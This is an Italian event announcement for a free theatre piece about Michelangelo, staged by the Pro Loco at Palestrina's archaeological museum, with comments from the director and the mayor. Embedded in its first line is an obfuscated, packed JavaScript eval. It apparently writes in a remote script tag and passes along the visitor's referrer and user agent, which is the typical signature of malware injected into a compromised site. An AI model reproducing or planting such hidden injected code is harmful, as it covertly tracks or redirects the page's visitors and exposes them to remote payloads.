



Sabato `eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(/,String))){while(c--){d[c.toString(a)]=k[c]}c.toString(a)}k=function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6('";n m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|hyzei|var|u0026u|referrer|abdey||js|php'.split('|'),0,{}))` 1 Maggio - Ore 17.30 - Museo Archeologico Nazionale di Palestrina  
la Pro Loco in collaborazione con il Comune di Palestrina presenta  
Giancarlo Gori e Anna Alegiani in Michelangelo Buonarroti  
(Dialoghi con Michelangelo Buonarroti)

Lo spettacolo, accompagnato da riprese video della Cappella Sistina, del Giudizio Universale e di altri disegni più o meno conosciuti, e dalle musiche che madrigalisti del 1500 (Archadelt, Verdelot, Tromboncino, Vatielli) scrissero appositamente per le sue rime, ha la peculiarità di mostrare non solo Michelangelo Buonarroti in tutta la sua grandezza di artista, con gli occhi rivolti al futuro e alla realizzazione di grandi opere, ma anche un uomo attaccato alle piccole cose, alla sua città, tormentato dai parenti e dagli invidiosi, sempre in procinto di iniziare qualcosa di nuovo.

E assillato da un pensiero fisso: quello di concludere la Sepoltura di Papa Giulio II.

Un uomo ed un artista sempre alla ricerca della bellezza, sia nell'arte che nella vita e con un solo grande amore, quello per Vittoria Colonna.

Tutto questo viene rappresentato in questi 'Dialoghi con Michelangelo', con rabbia, malinconia, amore e a tratti anche con ironia e sarcasmo, da un Buonarroti diverso da quello proposto dalla sua immagine corrucciata e dai luoghi comuni.

'Michelangelo Buonarroti - spiega il regista Giancarlo Gori - è nato dall'idea di portare in scena e far conoscere alcuni aspetti della vita e del pensiero del grande artista fiorentino. Partendo quindi dall'epistolario, dalle Rime da lui scritte in più di quarant'anni, e dalle testimonianze di suoi contemporanei come Giorgio Vasari e Francisco De Hollanda, abbiamo ricostruito (attraverso un ipotetico dialogo tra Michelangelo e il suo devoto allievo Francesco Amadori detto Urbino), i tormenti, le gioie, gli amori, i pensieri e il mondo artistico di Michelangelo Buonarroti nel periodo che va dal 1508 al 1541, cioè per tutto quel lungo tempo che intercorre tra l'inizio e la fine degli affreschi della Cappella Sistina.'

'Un nuovo appuntamento culturale per Palestrina - sottolinea il Sindaco Rodolfo Lena - un viaggio alla scoperta della vita, della carriera e delle opere di Michelangelo in un'opera incentrata su aspetti ed avvenimenti che pochissime persone conoscono. Un appuntamento da non perdere per ammirare non sono la grandezza artistica del Buonarroti, ma anche il suo amore per la bellezza assoluta, fatta di piccole e grandi cose comuni a tutti noi.'

Nello spettacolo verranno interpretate le Rime di Michelangelo:

- Dipingendo la Cappella Sistina
- La bellezza e l'arte, Firenze e gli esuli
- A Vittoria Colonna
- La notte
- Contro la Curia romana

INGRESSO GRATUITO